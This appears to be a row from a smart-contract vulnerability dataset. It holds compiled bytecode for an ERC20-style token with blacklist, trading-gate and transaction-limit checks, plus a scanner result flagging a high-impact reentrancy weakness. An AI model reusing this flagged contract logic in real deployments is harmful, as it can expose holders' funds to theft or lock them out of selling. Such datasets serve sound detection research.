3341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a0616bbb9b283dc104a887311d85c50e92db8422d335e17b6a99ce9177845da64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.